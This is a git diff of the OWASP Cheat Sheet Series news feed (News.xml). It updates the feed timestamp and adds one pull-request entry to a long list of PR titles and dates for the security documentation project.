diff --git a/News.xml b/News.xml index 6668460366..503c59aef1 100644 --- a/News.xml +++ b/News.xml @@ -1,2 +1,2 @@ -https://cheatsheetseries.owasp.org/OWASP Cheat Sheet Series update2024-02-24T16:45:59+00:00Core teamdominique.righetto@owasp.orgpython-feedgenhttps://cheatsheetseries.owasp.org/gitbook/images/favicon.icoList of the last updates on the contenthttps://github.com/OWASP/CheatSheetSeries/pull/1181Update XML_External_Entity_Prevention_Cheat_Sheet.md2023-08-09T02:54:16+00:002023-08-09T02:54:16+00:00https://github.com/OWASP/CheatSheetSeries/pull/1184Fix url for dotnet cheat sheet2023-08-23T13:51:53+00:002023-08-23T13:51:53+00:00https://github.com/OWASP/CheatSheetSeries/pull/1185Fixes a typo2023-08-23T10:42:22+00:002023-08-23T10:42:22+00:00https://github.com/OWASP/CheatSheetSeries/pull/1188Fix recommended password hashing implementations in .NET2023-08-29T13:20:53+00:00szhhttps://github.com/szh2023-08-29T13:20:53+00:00https://github.com/OWASP/CheatSheetSeries/pull/1189Logging_Cheat_Sheet.md Grammar2023-08-29T18:49:41+00:002023-08-29T18:49:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1190Add Mobile Application Security Cheat Sheet2023-08-30T14:11:13+00:002023-08-30T14:11:13+00:00https://github.com/OWASP/CheatSheetSeries/pull/1192Clarify Definition of Alphanumeric Characters in Output Encoding Rules2023-09-01T13:59:11+00:002023-09-01T13:59:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1193CSP: update refs2023-09-05T13:42:00+00:002023-09-05T13:42:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1194Fix grammar in Microservices Security Cheat Sheet2023-09-06T13:18:03+00:002023-09-06T13:18:03+00:00https://github.com/OWASP/CheatSheetSeries/pull/1198Fix typos in Kubernetes Security cheat sheet2023-09-07T21:24:02+00:002023-09-07T21:24:02+00:00https://github.com/OWASP/CheatSheetSeries/pull/1199Update Nodejs_Security_Cheat_Sheet.md2023-09-08T16:07:23+00:002023-09-08T16:07:23+00:00https://github.com/OWASP/CheatSheetSeries/pull/1204Updates for the Cryptographic_Storage_Cheat_Sheet.md2023-09-17T23:02:49+00:002023-09-17T23:02:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1206Introduce python venv to Makefile2023-09-22T13:54:29+00:002023-09-22T13:54:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1207Add context to security headers in REST Security Cheat Sheet2023-09-21T13:52:56+00:002023-09-21T13:52:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1209Add separate try/catch while setting features in XEE Prevention (#1098)2023-09-27T03:24:11+00:002023-09-27T03:24:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1210Add additional documentation for PII in Session Management Cheat Shee…2023-10-03T12:40:36+00:002023-10-03T12:40:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1211Fixing typo in Access_Control_Cheat_Sheet.md2023-09-28T12:40:57+00:002023-09-28T12:40:57+00:00https://github.com/OWASP/CheatSheetSeries/pull/1213Update mkdocs.yml to make copywrite date automatically update2023-10-09T14:04:49+00:002023-10-09T14:04:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1214Performing an update to the CSP cheatsheet, both structure and content2023-10-09T14:05:46+00:002023-10-09T14:05:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1218Deserialization_Cheat_Sheet.html#java - Other formats/libraries2023-10-16T19:31:29+00:002023-10-16T19:31:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1219Remove @SafeHtml from Bean Validation Cheat Sheet (#888)2023-10-25T12:55:10+00:002023-10-25T12:55:10+00:00https://github.com/OWASP/CheatSheetSeries/pull/1220Add section on Cookie-to-header token (#1215)2023-10-26T22:31:38+00:002023-10-26T22:31:38+00:00https://github.com/OWASP/CheatSheetSeries/pull/1224Update to Cred Stuffing Cheat Sheet2023-11-13T13:57:27+00:00szhhttps://github.com/szh2023-11-13T13:57:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1226Update Password_Storage_Cheat_Sheet.md2023-11-18T18:04:27+00:002023-11-18T18:04:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1227Update of Threat Model Cheatshet2023-11-22T14:35:35+00:00szhhttps://github.com/szh2023-11-22T14:35:35+00:00https://github.com/OWASP/CheatSheetSeries/pull/1228Update SQL_Injection_Prevention_Cheat_Sheet.md2023-11-22T14:31:29+00:002023-11-22T14:31:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1229Update Password_Storage_Cheat_Sheet.md2023-11-22T14:38:42+00:002023-11-22T14:38:42+00:00https://github.com/OWASP/CheatSheetSeries/pull/1230Symfony cheatsheet2023-11-29T12:31:59+00:002023-11-29T12:31:59+00:00https://github.com/OWASP/CheatSheetSeries/pull/1233Updated spelling and grammar for Abuse_Case_Cheat_Sheet.md2023-11-27T12:59:30+00:002023-11-27T12:59:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1237Create OAuth2_Cheat_Sheet2024-01-10T18:26:14+00:002024-01-10T18:26:14+00:00https://github.com/OWASP/CheatSheetSeries/pull/1238Add Django Security Cheat Sheet (#1035)2023-11-29T12:31:15+00:002023-11-29T12:31:15+00:00https://github.com/OWASP/CheatSheetSeries/pull/1240#1239 - fix Threat Modeling Cheat Sheet table with table generator2023-11-29T17:45:01+00:002023-11-29T17:45:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1242Fix inter-CS links2023-11-29T20:23:25+00:002023-11-29T20:23:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1245Update Authentication_Cheat_Sheet.md2023-12-18T15:19:24+00:002023-12-18T15:19:24+00:00https://github.com/OWASP/CheatSheetSeries/pull/1246Update pull_request_template.md2023-12-01T22:08:58+00:002023-12-01T22:08:58+00:00https://github.com/OWASP/CheatSheetSeries/pull/1247Update Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md by R. Thornton2023-12-06T14:24:07+00:002023-12-06T14:24:07+00:00https://github.com/OWASP/CheatSheetSeries/pull/1248Update Multifactor_Authentication_Cheat_Sheet.md2023-12-06T05:20:20+00:002023-12-06T05:20:20+00:00https://github.com/OWASP/CheatSheetSeries/pull/1250Update LDAP_Injection_Prevention_Cheat_Sheet.md2023-12-06T13:45:48+00:002023-12-06T13:45:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1253Update Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md2023-12-06T14:32:01+00:002023-12-06T14:32:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1255Update: [XSS Filter Evasion Cheat Sheet] #12542023-12-07T16:35:37+00:002023-12-07T16:35:37+00:00https://github.com/OWASP/CheatSheetSeries/pull/1256Update: [XSS Filter Evasion Cheat Sheet] #12552023-12-08T13:56:02+00:002023-12-08T13:56:02+00:00https://github.com/OWASP/CheatSheetSeries/pull/1257Add guidance on handling secrets in memory2023-12-08T16:03:32+00:002023-12-08T16:03:32+00:00https://github.com/OWASP/CheatSheetSeries/pull/1258Update Cross_Site_Scripting_Prevention_Cheat_Sheet.md2023-12-08T18:55:22+00:002023-12-08T18:55:22+00:00https://github.com/OWASP/CheatSheetSeries/pull/1260CI: bump GH action versions2023-12-13T17:32:49+00:00szhhttps://github.com/szh2023-12-13T17:32:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1261DjangoCheatSheet - modification of admin panel url2023-12-14T15:50:28+00:002023-12-14T15:50:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1263Minor Typo in Update Cross_Site_Scripting_Prevention_Cheat_Sheet.md2023-12-19T09:36:50+00:002023-12-19T09:36:50+00:00https://github.com/OWASP/CheatSheetSeries/pull/1264Fixed typo2023-12-20T11:31:46+00:002023-12-20T11:31:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1266Address GitHub Issue #12652023-12-26T18:35:33+00:002023-12-26T18:35:33+00:00https://github.com/OWASP/CheatSheetSeries/pull/1267Address @szh's suggested grammatical changes.2024-01-08T22:13:11+00:002024-01-08T22:13:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1268Create CI/CD cheatsheet2024-01-05T14:12:25+00:002024-01-05T14:12:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1270Update Node.js Docker Cheat Sheet to use npm ci --omit=dev for installing production dependencies2024-01-03T13:42:51+00:002024-01-03T13:42:51+00:00https://github.com/OWASP/CheatSheetSeries/pull/1271Update Threat_Modeling_Cheat_Sheet.md2024-01-04T13:31:52+00:002024-01-04T13:31:52+00:00https://github.com/OWASP/CheatSheetSeries/pull/1272Updated link in Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md2024-01-07T16:47:36+00:002024-01-07T16:47:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1274Update Kubernetes_Security_Cheat_Sheet.md2024-01-09T01:25:27+00:002024-01-09T01:25:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1275Add Docker Scout as suggested tool2024-01-09T18:02:36+00:002024-01-09T18:02:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1277Fix GH checkout action not fetching all branches2024-01-09T20:46:25+00:002024-01-09T20:46:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1278fix: Authentication Cheat Sheet: Correct grammar and markdown style2024-01-10T07:52:49+00:002024-01-10T07:52:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1279Fix Typo in Threat_Modeling_Cheat_Sheet.md2024-01-10T14:39:35+00:002024-01-10T14:39:35+00:00https://github.com/OWASP/CheatSheetSeries/pull/1280Update Authentication_Cheat_Sheet.md2024-02-14T14:02:48+00:002024-02-14T14:02:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1283Update Authorization_Cheat_Sheet.md2024-01-13T20:24:48+00:002024-01-13T20:24:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1285docs: fix anchor in CSRF cheat sheet2024-01-17T13:44:45+00:002024-01-17T13:44:45+00:00https://github.com/OWASP/CheatSheetSeries/pull/1286super simple typo on cheatsheets/Injection_Prevention_Cheat_Sheet.md2024-01-17T13:42:57+00:002024-01-17T13:42:57+00:00https://github.com/OWASP/CheatSheetSeries/pull/1287XXE on ASP.NET addition2024-01-18T19:04:49+00:002024-01-18T19:04:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1288Protect SchemaFactory in code sample for Validator2024-01-18T13:47:39+00:002024-01-18T13:47:39+00:00https://github.com/OWASP/CheatSheetSeries/pull/1290Update Denial_of_Service_Cheat_Sheet.md2024-01-21T16:46:28+00:002024-01-21T16:46:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1291chore(Secure_Cloud_Arch): Update links & wording2024-01-24T14:09:30+00:002024-01-24T14:09:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1292Fix missing closing parenthesis in Java code example in Input_Validation_Cheat_Sheet.md2024-01-24T14:09:41+00:002024-01-24T14:09:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1293chore(images): compress/optimize2024-01-25T14:04:00+00:002024-01-25T14:04:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1294Fix typos in multiple cheat sheets2024-01-25T13:58:47+00:002024-01-25T13:58:47+00:00https://github.com/OWASP/CheatSheetSeries/pull/1296Rename Transport Layer Protection to Transport Layer Security & Consolidate TLS Cipher2024-01-29T14:10:38+00:002024-01-29T14:10:38+00:00https://github.com/OWASP/CheatSheetSeries/pull/1298Align MASVS Index to v2.1.0 of the standard2024-02-02T12:36:58+00:002024-02-02T12:36:58+00:00https://github.com/OWASP/CheatSheetSeries/pull/1299feat(MFA): Comprehensive Update2024-01-30T12:06:12+00:002024-01-30T12:06:12+00:00https://github.com/OWASP/CheatSheetSeries/pull/1301feat(Docker): add Secrets, Compose v2, Supply Chain Security, Podman2024-02-02T12:38:49+00:002024-02-02T12:38:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1303Update XML_Security_Cheat_Sheet.md2024-02-02T10:25:05+00:002024-02-02T10:25:05+00:00https://github.com/OWASP/CheatSheetSeries/pull/1304fixed Typos in Kubernetes Security cheat sheet2024-02-02T10:28:01+00:002024-02-02T10:28:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1305Update XML_External_Entity_Prevention_Cheat_Sheet.md2024-02-02T10:32:46+00:002024-02-02T10:32:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1307Update Authorization_Testing_Automation_Cheat_Sheet.md2024-02-02T11:54:00+00:002024-02-02T11:54:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1308feat: update logos, dark theme, navbar defaults and misc fixes2024-02-06T11:55:11+00:002024-02-06T11:55:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1310Fix typos and minor grammar issues in Cross Site Request Forgery Prevention Cheat Sheet2024-02-05T18:02:07+00:002024-02-05T18:02:07+00:00https://github.com/OWASP/CheatSheetSeries/pull/1311Fixed incorrect URL2024-02-06T12:00:37+00:002024-02-06T12:00:37+00:00https://github.com/OWASP/CheatSheetSeries/pull/1312Fix typo2024-02-06T14:30:46+00:002024-02-06T14:30:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1314fixed typo2024-02-07T13:47:04+00:002024-02-07T13:47:04+00:00https://github.com/OWASP/CheatSheetSeries/pull/1316chore(license): apply consistent `CC-BY-SA-4.0`2024-02-08T12:06:42+00:002024-02-08T12:06:42+00:00https://github.com/OWASP/CheatSheetSeries/pull/1317Update XML_Security_Cheat_Sheet.md2024-02-08T12:31:03+00:002024-02-08T12:31:03+00:00https://github.com/OWASP/CheatSheetSeries/pull/1318feat(preface): dark mode friendly logo & header2024-02-14T14:00:28+00:002024-02-14T14:00:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1321RLT Tech Writer: edits to XML Filter Evasion cheat sheet for clarity 2024-02-14T13:58:56+00:002024-02-14T13:58:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1323Update Transport_Layer_Security_Cheat_Sheet.md2024-02-13T13:42:56+00:002024-02-13T13:42:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1324Escape '*' characters that were improperly rendering as markdown2024-02-13T13:45:19+00:002024-02-13T13:45:19+00:00https://github.com/OWASP/CheatSheetSeries/pull/1328"JWT token" is redundant. Removed instances of 'token' after "JWT"2024-02-19T17:58:46+00:002024-02-19T17:58:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1330Tech Writer: Redid Database Security Cheat Sheet2024-02-20T08:43:41+00:002024-02-20T08:43:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1331CSRF clarification2024-02-18T22:37:30+00:002024-02-18T22:37:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1332Added caveat about customer request header approach and its use in login csrf mitigation2024-02-19T17:40:45+00:002024-02-19T17:40:45+00:00https://github.com/OWASP/CheatSheetSeries/pull/1335Fixed typos2024-02-22T13:57:41+00:002024-02-22T13:57:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1341Links, typos, uniformity2024-02-24T16:45:14+00:002024-02-24T16:45:14+00:00https://github.com/OWASP/CheatSheetSeries/pull/1342Update Clickjacking_Defense_Cheat_Sheet.md2024-02-24T16:44:09+00:002024-02-24T16:44:09+00:00 \ No newline at end of file +https://cheatsheetseries.owasp.org/OWASP Cheat Sheet Series update2024-02-24T16:47:12+00:00Core teamdominique.righetto@owasp.orgpython-feedgenhttps://cheatsheetseries.owasp.org/gitbook/images/favicon.icoList of the last updates on the contenthttps://github.com/OWASP/CheatSheetSeries/pull/1181Update XML_External_Entity_Prevention_Cheat_Sheet.md2023-08-09T02:54:16+00:002023-08-09T02:54:16+00:00https://github.com/OWASP/CheatSheetSeries/pull/1184Fix url for dotnet cheat sheet2023-08-23T13:51:53+00:002023-08-23T13:51:53+00:00https://github.com/OWASP/CheatSheetSeries/pull/1185Fixes a typo2023-08-23T10:42:22+00:002023-08-23T10:42:22+00:00https://github.com/OWASP/CheatSheetSeries/pull/1188Fix recommended password hashing implementations in .NET2023-08-29T13:20:53+00:00szhhttps://github.com/szh2023-08-29T13:20:53+00:00https://github.com/OWASP/CheatSheetSeries/pull/1189Logging_Cheat_Sheet.md Grammar2023-08-29T18:49:41+00:002023-08-29T18:49:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1190Add Mobile Application Security Cheat Sheet2023-08-30T14:11:13+00:002023-08-30T14:11:13+00:00https://github.com/OWASP/CheatSheetSeries/pull/1192Clarify Definition of Alphanumeric Characters in Output Encoding Rules2023-09-01T13:59:11+00:002023-09-01T13:59:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1193CSP: update refs2023-09-05T13:42:00+00:002023-09-05T13:42:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1194Fix grammar in Microservices Security Cheat Sheet2023-09-06T13:18:03+00:002023-09-06T13:18:03+00:00https://github.com/OWASP/CheatSheetSeries/pull/1198Fix typos in Kubernetes Security cheat sheet2023-09-07T21:24:02+00:002023-09-07T21:24:02+00:00https://github.com/OWASP/CheatSheetSeries/pull/1199Update Nodejs_Security_Cheat_Sheet.md2023-09-08T16:07:23+00:002023-09-08T16:07:23+00:00https://github.com/OWASP/CheatSheetSeries/pull/1204Updates for the Cryptographic_Storage_Cheat_Sheet.md2023-09-17T23:02:49+00:002023-09-17T23:02:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1206Introduce python venv to Makefile2023-09-22T13:54:29+00:002023-09-22T13:54:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1207Add context to security headers in REST Security Cheat Sheet2023-09-21T13:52:56+00:002023-09-21T13:52:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1209Add separate try/catch while setting features in XEE Prevention (#1098)2023-09-27T03:24:11+00:002023-09-27T03:24:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1210Add additional documentation for PII in Session Management Cheat Shee…2023-10-03T12:40:36+00:002023-10-03T12:40:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1211Fixing typo in Access_Control_Cheat_Sheet.md2023-09-28T12:40:57+00:002023-09-28T12:40:57+00:00https://github.com/OWASP/CheatSheetSeries/pull/1213Update mkdocs.yml to make copywrite date automatically update2023-10-09T14:04:49+00:002023-10-09T14:04:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1214Performing an update to the CSP cheatsheet, both structure and content2023-10-09T14:05:46+00:002023-10-09T14:05:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1218Deserialization_Cheat_Sheet.html#java - Other formats/libraries2023-10-16T19:31:29+00:002023-10-16T19:31:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1219Remove @SafeHtml from Bean Validation Cheat Sheet (#888)2023-10-25T12:55:10+00:002023-10-25T12:55:10+00:00https://github.com/OWASP/CheatSheetSeries/pull/1220Add section on Cookie-to-header token (#1215)2023-10-26T22:31:38+00:002023-10-26T22:31:38+00:00https://github.com/OWASP/CheatSheetSeries/pull/1224Update to Cred Stuffing Cheat Sheet2023-11-13T13:57:27+00:00szhhttps://github.com/szh2023-11-13T13:57:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1226Update Password_Storage_Cheat_Sheet.md2023-11-18T18:04:27+00:002023-11-18T18:04:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1227Update of Threat Model Cheatshet2023-11-22T14:35:35+00:00szhhttps://github.com/szh2023-11-22T14:35:35+00:00https://github.com/OWASP/CheatSheetSeries/pull/1228Update SQL_Injection_Prevention_Cheat_Sheet.md2023-11-22T14:31:29+00:002023-11-22T14:31:29+00:00https://github.com/OWASP/CheatSheetSeries/pull/1229Update Password_Storage_Cheat_Sheet.md2023-11-22T14:38:42+00:002023-11-22T14:38:42+00:00https://github.com/OWASP/CheatSheetSeries/pull/1230Symfony cheatsheet2023-11-29T12:31:59+00:002023-11-29T12:31:59+00:00https://github.com/OWASP/CheatSheetSeries/pull/1233Updated spelling and grammar for Abuse_Case_Cheat_Sheet.md2023-11-27T12:59:30+00:002023-11-27T12:59:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1237Create OAuth2_Cheat_Sheet2024-01-10T18:26:14+00:002024-01-10T18:26:14+00:00https://github.com/OWASP/CheatSheetSeries/pull/1238Add Django Security Cheat Sheet (#1035)2023-11-29T12:31:15+00:002023-11-29T12:31:15+00:00https://github.com/OWASP/CheatSheetSeries/pull/1240#1239 - fix Threat Modeling Cheat Sheet table with table generator2023-11-29T17:45:01+00:002023-11-29T17:45:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1242Fix inter-CS links2023-11-29T20:23:25+00:002023-11-29T20:23:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1245Update Authentication_Cheat_Sheet.md2023-12-18T15:19:24+00:002023-12-18T15:19:24+00:00https://github.com/OWASP/CheatSheetSeries/pull/1246Update pull_request_template.md2023-12-01T22:08:58+00:002023-12-01T22:08:58+00:00https://github.com/OWASP/CheatSheetSeries/pull/1247Update Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md by R. Thornton2023-12-06T14:24:07+00:002023-12-06T14:24:07+00:00https://github.com/OWASP/CheatSheetSeries/pull/1248Update Multifactor_Authentication_Cheat_Sheet.md2023-12-06T05:20:20+00:002023-12-06T05:20:20+00:00https://github.com/OWASP/CheatSheetSeries/pull/1250Update LDAP_Injection_Prevention_Cheat_Sheet.md2023-12-06T13:45:48+00:002023-12-06T13:45:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1253Update Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md2023-12-06T14:32:01+00:002023-12-06T14:32:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1255Update: [XSS Filter Evasion Cheat Sheet] #12542023-12-07T16:35:37+00:002023-12-07T16:35:37+00:00https://github.com/OWASP/CheatSheetSeries/pull/1256Update: [XSS Filter Evasion Cheat Sheet] #12552023-12-08T13:56:02+00:002023-12-08T13:56:02+00:00https://github.com/OWASP/CheatSheetSeries/pull/1257Add guidance on handling secrets in memory2023-12-08T16:03:32+00:002023-12-08T16:03:32+00:00https://github.com/OWASP/CheatSheetSeries/pull/1258Update Cross_Site_Scripting_Prevention_Cheat_Sheet.md2023-12-08T18:55:22+00:002023-12-08T18:55:22+00:00https://github.com/OWASP/CheatSheetSeries/pull/1260CI: bump GH action versions2023-12-13T17:32:49+00:00szhhttps://github.com/szh2023-12-13T17:32:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1261DjangoCheatSheet - modification of admin panel url2023-12-14T15:50:28+00:002023-12-14T15:50:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1263Minor Typo in Update Cross_Site_Scripting_Prevention_Cheat_Sheet.md2023-12-19T09:36:50+00:002023-12-19T09:36:50+00:00https://github.com/OWASP/CheatSheetSeries/pull/1264Fixed typo2023-12-20T11:31:46+00:002023-12-20T11:31:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1266Address GitHub Issue #12652023-12-26T18:35:33+00:002023-12-26T18:35:33+00:00https://github.com/OWASP/CheatSheetSeries/pull/1267Address @szh's suggested grammatical changes.2024-01-08T22:13:11+00:002024-01-08T22:13:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1268Create CI/CD cheatsheet2024-01-05T14:12:25+00:002024-01-05T14:12:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1270Update Node.js Docker Cheat Sheet to use npm ci --omit=dev for installing production dependencies2024-01-03T13:42:51+00:002024-01-03T13:42:51+00:00https://github.com/OWASP/CheatSheetSeries/pull/1271Update Threat_Modeling_Cheat_Sheet.md2024-01-04T13:31:52+00:002024-01-04T13:31:52+00:00https://github.com/OWASP/CheatSheetSeries/pull/1272Updated link in Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md2024-01-07T16:47:36+00:002024-01-07T16:47:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1274Update Kubernetes_Security_Cheat_Sheet.md2024-01-09T01:25:27+00:002024-01-09T01:25:27+00:00https://github.com/OWASP/CheatSheetSeries/pull/1275Add Docker Scout as suggested tool2024-01-09T18:02:36+00:002024-01-09T18:02:36+00:00https://github.com/OWASP/CheatSheetSeries/pull/1277Fix GH checkout action not fetching all branches2024-01-09T20:46:25+00:002024-01-09T20:46:25+00:00https://github.com/OWASP/CheatSheetSeries/pull/1278fix: Authentication Cheat Sheet: Correct grammar and markdown style2024-01-10T07:52:49+00:002024-01-10T07:52:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1279Fix Typo in Threat_Modeling_Cheat_Sheet.md2024-01-10T14:39:35+00:002024-01-10T14:39:35+00:00https://github.com/OWASP/CheatSheetSeries/pull/1280Update Authentication_Cheat_Sheet.md2024-02-14T14:02:48+00:002024-02-14T14:02:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1283Update Authorization_Cheat_Sheet.md2024-01-13T20:24:48+00:002024-01-13T20:24:48+00:00https://github.com/OWASP/CheatSheetSeries/pull/1285docs: fix anchor in CSRF cheat sheet2024-01-17T13:44:45+00:002024-01-17T13:44:45+00:00https://github.com/OWASP/CheatSheetSeries/pull/1286super simple typo on cheatsheets/Injection_Prevention_Cheat_Sheet.md2024-01-17T13:42:57+00:002024-01-17T13:42:57+00:00https://github.com/OWASP/CheatSheetSeries/pull/1287XXE on ASP.NET addition2024-01-18T19:04:49+00:002024-01-18T19:04:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1288Protect SchemaFactory in code sample for Validator2024-01-18T13:47:39+00:002024-01-18T13:47:39+00:00https://github.com/OWASP/CheatSheetSeries/pull/1290Update Denial_of_Service_Cheat_Sheet.md2024-01-21T16:46:28+00:002024-01-21T16:46:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1291chore(Secure_Cloud_Arch): Update links & wording2024-01-24T14:09:30+00:002024-01-24T14:09:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1292Fix missing closing parenthesis in Java code example in Input_Validation_Cheat_Sheet.md2024-01-24T14:09:41+00:002024-01-24T14:09:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1293chore(images): compress/optimize2024-01-25T14:04:00+00:002024-01-25T14:04:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1294Fix typos in multiple cheat sheets2024-01-25T13:58:47+00:002024-01-25T13:58:47+00:00https://github.com/OWASP/CheatSheetSeries/pull/1296Rename Transport Layer Protection to Transport Layer Security & Consolidate TLS Cipher2024-01-29T14:10:38+00:002024-01-29T14:10:38+00:00https://github.com/OWASP/CheatSheetSeries/pull/1298Align MASVS Index to v2.1.0 of the standard2024-02-02T12:36:58+00:002024-02-02T12:36:58+00:00https://github.com/OWASP/CheatSheetSeries/pull/1299feat(MFA): Comprehensive Update2024-01-30T12:06:12+00:002024-01-30T12:06:12+00:00https://github.com/OWASP/CheatSheetSeries/pull/1301feat(Docker): add Secrets, Compose v2, Supply Chain Security, Podman2024-02-02T12:38:49+00:002024-02-02T12:38:49+00:00https://github.com/OWASP/CheatSheetSeries/pull/1303Update XML_Security_Cheat_Sheet.md2024-02-02T10:25:05+00:002024-02-02T10:25:05+00:00https://github.com/OWASP/CheatSheetSeries/pull/1304fixed Typos in Kubernetes Security cheat sheet2024-02-02T10:28:01+00:002024-02-02T10:28:01+00:00https://github.com/OWASP/CheatSheetSeries/pull/1305Update XML_External_Entity_Prevention_Cheat_Sheet.md2024-02-02T10:32:46+00:002024-02-02T10:32:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1307Update Authorization_Testing_Automation_Cheat_Sheet.md2024-02-02T11:54:00+00:002024-02-02T11:54:00+00:00https://github.com/OWASP/CheatSheetSeries/pull/1308feat: update logos, dark theme, navbar defaults and misc fixes2024-02-06T11:55:11+00:002024-02-06T11:55:11+00:00https://github.com/OWASP/CheatSheetSeries/pull/1310Fix typos and minor grammar issues in Cross Site Request Forgery Prevention Cheat Sheet2024-02-05T18:02:07+00:002024-02-05T18:02:07+00:00https://github.com/OWASP/CheatSheetSeries/pull/1311Fixed incorrect URL2024-02-06T12:00:37+00:002024-02-06T12:00:37+00:00https://github.com/OWASP/CheatSheetSeries/pull/1312Fix typo2024-02-06T14:30:46+00:002024-02-06T14:30:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1314fixed typo2024-02-07T13:47:04+00:002024-02-07T13:47:04+00:00https://github.com/OWASP/CheatSheetSeries/pull/1316chore(license): apply consistent `CC-BY-SA-4.0`2024-02-08T12:06:42+00:002024-02-08T12:06:42+00:00https://github.com/OWASP/CheatSheetSeries/pull/1317Update XML_Security_Cheat_Sheet.md2024-02-08T12:31:03+00:002024-02-08T12:31:03+00:00https://github.com/OWASP/CheatSheetSeries/pull/1318feat(preface): dark mode friendly logo & header2024-02-14T14:00:28+00:002024-02-14T14:00:28+00:00https://github.com/OWASP/CheatSheetSeries/pull/1321RLT Tech Writer: edits to XML Filter Evasion cheat sheet for clarity 2024-02-14T13:58:56+00:002024-02-14T13:58:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1323Update Transport_Layer_Security_Cheat_Sheet.md2024-02-13T13:42:56+00:002024-02-13T13:42:56+00:00https://github.com/OWASP/CheatSheetSeries/pull/1324Escape '*' characters that were improperly rendering as markdown2024-02-13T13:45:19+00:002024-02-13T13:45:19+00:00https://github.com/OWASP/CheatSheetSeries/pull/1327refactor(XSS_Filter_Evasion): #1321 Suggestions2024-02-24T16:46:26+00:002024-02-24T16:46:26+00:00https://github.com/OWASP/CheatSheetSeries/pull/1328"JWT token" is redundant. Removed instances of 'token' after "JWT"2024-02-19T17:58:46+00:002024-02-19T17:58:46+00:00https://github.com/OWASP/CheatSheetSeries/pull/1330Tech Writer: Redid Database Security Cheat Sheet2024-02-20T08:43:41+00:002024-02-20T08:43:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1331CSRF 